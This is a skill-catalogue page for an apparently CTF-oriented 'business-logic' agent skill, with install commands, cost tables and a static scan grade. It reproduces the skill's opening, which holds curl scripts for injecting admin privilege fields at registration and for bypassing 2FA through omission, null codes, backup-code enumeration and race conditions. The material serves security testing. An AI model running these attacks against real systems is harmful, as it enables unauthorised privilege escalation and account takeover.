Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add MingyiSecLab/Mingyi-Atlas --skill business-logicgit clone --depth 1 https://github.com/MingyiSecLab/Mingyi-AtlasWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/business-logic)<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/business-logic"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/business-logic/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/business-logic"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/business-logic.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00077 | $0.02130 |
| Opus 5 | $0.00039 | $0.01065 |
| Sonnet 5 | $0.00015 | $0.00426 |
| Haiku 4.5 | $0.00008 | $0.00213 |
Grade B, and why
business-logic scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLmediumData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
curl -s -X POST 'https://<TARGET>/2fa/verify' -d 'code=' -b 'session=...' -o /tmp/r.txt -w '%{http_code}\n' Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -s -X POST 'https://<TARGET>/register' \ This is a copy
100% identical to business-logic — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 145 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Business Logic / Privilege Escalation
For challenges where the vulnerability is in the application's business rules, not in standard injection sinks. Common patterns: client-controlled privilege fields, 2FA bypass, predictable codes, hidden auth headers.
1. POST-Body Privilege Field Tampering
When registration/profile endpoints accept arbitrary JSON or form fields, the server may read trusted privilege flags from the request:
# Intercept normal registration first to see what fields are sent
curl -s -X POST 'https://<TARGET>/register' \
-H 'Content-Type: application/json' \
-d '{"username":"alice","email":"[email protected]","password":"x"}' -v 2>&1 > /tmp/register_baseline.txt
head -50 /tmp/register_baseline.txt
# Add common privilege fields to the body
for field in 'role:admin' 'is_admin:true' 'admin:1' 'user_type:admin' 'isAdmin:true' 'is_superuser:true' 'staff:true' 'level:99' 'group:administrators'; do
key=${field%:*}; val=${field#*:}
echo "=== try $key=$val ==="
curl -s -X POST 'https://<TARGET>/register' \
-H 'Content-Type: application/json' \
-d "{\"username\":\"u_$RANDOM\",\"password\":\"x\",\"$key\":$val}" \
-o /tmp/priv_probe.txt -w '%{http_code}\n'
grep -i 'admin\|role\|privilege\|flag\|token' /tmp/priv_probe.txt | head -5
done
2. 2FA Bypass Patterns
# (a) Bypass-by-omission — skip /2fa/verify entirely, go directly to /dashboard with partially-authenticated session
curl -s 'https://<TARGET>/dashboard' -b 'session=<post-login-pre-2fa>' -o /tmp/bypass_omit.txt -w '%{http_code}\n'
# (b) Empty / null code
curl -s -X POST 'https://<TARGET>/2fa/verify' -d 'code=' -b 'session=...' -o /tmp/r.txt -w '%{http_code}\n'
curl -s -X POST 'https://<TARGET>/2fa/verify' -H 'Content-Type: application/json' \
-d '{"code":null}' -b 'session=...' -o /tmp/r.txt -w '%{http_code}\n'
curl -s -X POST 'https://<TARGET>/2fa/verify' -H 'Content-Type: application/json' \
-d '{}' -b 'session=...' -o /tmp/r.txt -w '%{http_code}\n'
# (c) Backup code enumeration (often 8-digit numeric)
for code in 00000000 11111111 12345678 87654321; do
curl -s -X POST 'https://<TARGET>/2fa/verify' -d "code=$code" -b 'session=...' -o /tmp/r.txt -w "%{http_code} $code\n"
done
# (d) TOTP seed leak — check registration response for "secret" or "qr" field; if leaked, generate code
# python3 -c "import pyotp; print(pyotp.TOTP('<LEAKED_SECRET>').now())"
# (e) Race condition on verify — submit concurrently to beat rate-limit or state check
seq 1 20 | xargs -P 20 -I _ curl -s -X POST 'https://<TARGET>/2fa/verify' \
-d 'code=999999' -b 'session=...' -o /dev/null -w '%{http_code}\n' | sort | uniq -c
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 9d ago First seen · 145 lines · 77 tokens per session scan B 30bdc2c99d72
business-logic is a skill published in the GitHub repository MingyiSecLab/Mingyi-Atlas (11 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 77 tokens to every session and 2,130 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it B with 2 findings (sends data to an external url, makes network calls). It is 100% identical to business-logic, differing in 0 lines, and is treated as a copy.
Other skills, from other repositories
web-app-pentest
../../../pentest/web-app-pentest/SKILL.md.
cis-aws-foundations-6.5
Ensure the default security group of every VPC restricts all traffic.
cis-aws-foundations-2.1.3
Ensure Organizations management account is not used for workloads.
cis-aws-foundations-2.12
Ensure access keys are rotated every 90 days or less.
cis-aws-foundations-2.7
Eliminate use of the 'root' user for administrative and daily tasks.
cis-aws-foundations-4.4
Ensure that server access logging is enabled on the CloudTrail S3 bucket.